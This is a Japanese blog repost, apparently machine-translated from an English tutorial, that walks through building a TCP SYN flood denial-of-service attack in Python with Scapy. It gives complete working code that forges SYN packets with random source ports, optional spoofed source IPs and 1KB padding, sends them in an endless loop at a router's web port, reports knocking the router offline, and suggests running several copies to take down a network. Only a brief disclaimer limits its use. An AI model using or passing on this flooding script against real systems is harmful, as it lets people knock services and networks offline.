PythonでSYNフラッド攻撃を行う方法

PythonでScapyライブラリを使用して、サービス拒否攻撃の一種であるTCPSYNフラッド攻撃を実行する方法を学びます。

SYNフラッド 攻撃は、一般的な形態のある サービス拒否攻撃 を消費するためには、攻撃者がターゲットシステムにSYN要求のシーケンスを送信する(など、ファイアウォール、侵入防止システム(IPS)、ルーターすることができます)そのリソースは、正当なクライアントが通常の接続を確立するのを防ぎます。

TCP SYNフラッドは、TCPスリーウェイハンドシェイクの最初の部分を悪用します。TCPプロトコルを使用するすべての接続でそれが必要になるため、この攻撃は危険であることが判明し、いくつかのネットワークコンポーネントをダウンさせる可能性があります。

SYNフラッドを理解するには、最初にTCP スリーウェイハンドシェイクについて説明する必要があり ます

TCPスリーウェイハンドシェイククライアントがTCPプロトコルを介してサーバーへの接続を確立する場合、クライアントとサーバーは一連のメッセージを交換します。

  • クライアントは、SYNメッセージをサーバーに送信して接続を要求します。
  • サーバーはSYN-ACKメッセージで応答します(要求を確認します)。
  • クライアントはACKで応答し、接続が開始されます。

SYNフラッド攻撃には、ACKで応答せずにSYNパケットを繰り返し送信し、多くの場合、送信元ポートが異なる悪意のあるユーザーが関与します。これにより、サーバーは攻撃に気付かず、各ポートからのSYN-ACKパケットで各試行に応答します(赤上の画像の緑色の部分)。このようにして、サーバーは正当なクライアントにすぐに応答しなくなります。

 

関連チュートリアル: Scapyを使用してPythonでWiFiスキャナーを構築する方法

このチュートリアルでは 、PythonのScapyライブラリを使用してSYNフラッド攻撃を実装し ます。開始するには、Scapyをインストールする必要があります。

pip3 install scapy

コピー

新しいPythonファイルを開き、Scapyをインポートします。

from scapy.all import *

コピー

プライベートIPアドレスが192.168.1.1のローカルルーターでこれをテストします。

 

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

コピー

ルーターに対してこれを試したい場合は、正しいIPアドレスを持っていることを確認してください。デフォルトゲートウェイのアドレスはipconfig 、 ip route それぞれWindowsとmacOS / Linuxのコマンドで取得できます 

ルーターのWebインターフェイスをフラッディングしたいので、ターゲットポートはHTTPです。次に、IP層から始めてSYNパケットを偽造しましょう。

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

コピー

dst ターゲットIPアドレスとしてを指定し src ました。プライベートネットワーク範囲(コメントコード)内のスプーフィングされたランダムIPアドレスにアドレスを設定することもでき 、それも機能します。

TCP層を作りましょう:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

コピー

そのため、送信元ポート(sport)をランダムショート(ポートと同様に1〜65535の範囲)に設定し、  dport (宛先ポート)をターゲットポート(この場合はHTTPサービス)として設定しています。

 

 

また、"S" SYNタイプを示すフラグを設定し ます。

次に、ネットワークを占有するために、フラッディングの生データを追加しましょう。

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

コピー

素晴らしい、それではレイヤーを積み上げてパケットを送信しましょう:

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

コピー

そのためsend() 、レイヤー3でパケットを送信する関数を使用し 、  loop CTRL + Cを押すまで送信を続けるように1に設定verbose しました。0に設定 すると、プロセス中に何も印刷されません(サイレント)。

 

 

スクリプトが完了しました。これをルーターに対して実行した後、数秒かかりました。確かに、ルーターは機能を停止し、接続が失われました。

Scapyを使用したSYNフラッド攻撃が成功した後、ルーターが動作を停止しましたこれは、Windowsでの次のコマンドの出力です。

$ ping -t "192.168.1.1"

コピー

攻撃者以外の別のマシンからキャプチャされたため、ルーターは応答しなくなりました。

すべてを正常に戻すには、攻撃を停止し(CTRL + Cを押して)、デバイスがまだ応答しない場合は、続行して再起動します。

関連チュートリアル:  PythonでScapyを使用してネットワークスキャナーを作成する方法。

結論

 

 

よし!チュートリアルは終了しました。ローカルコンピューターに対してスクリプトを実行しようとすると、コンピューターがビジー状態になり、待ち時間が大幅に増加することがわかります。また、複数の端末や他のマシンでスクリプトを実行して、ローカルコンピューターのネットワークをシャットダウンできるかどうかを確認することもできます。

免責事項:所有していない、または許可を得ていないデバイスでこれを使用しないでください。当社は責任を負いません。このチュートリアルは教育目的のみです。

学習:  Scapyを使用してPythonでARPスプーフィングを構築する方法

ハッピーハッキング♥

 完全なコードを表示

 

https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

おすすめ

転載: blog.csdn.net/maimang1001/article/details/112604798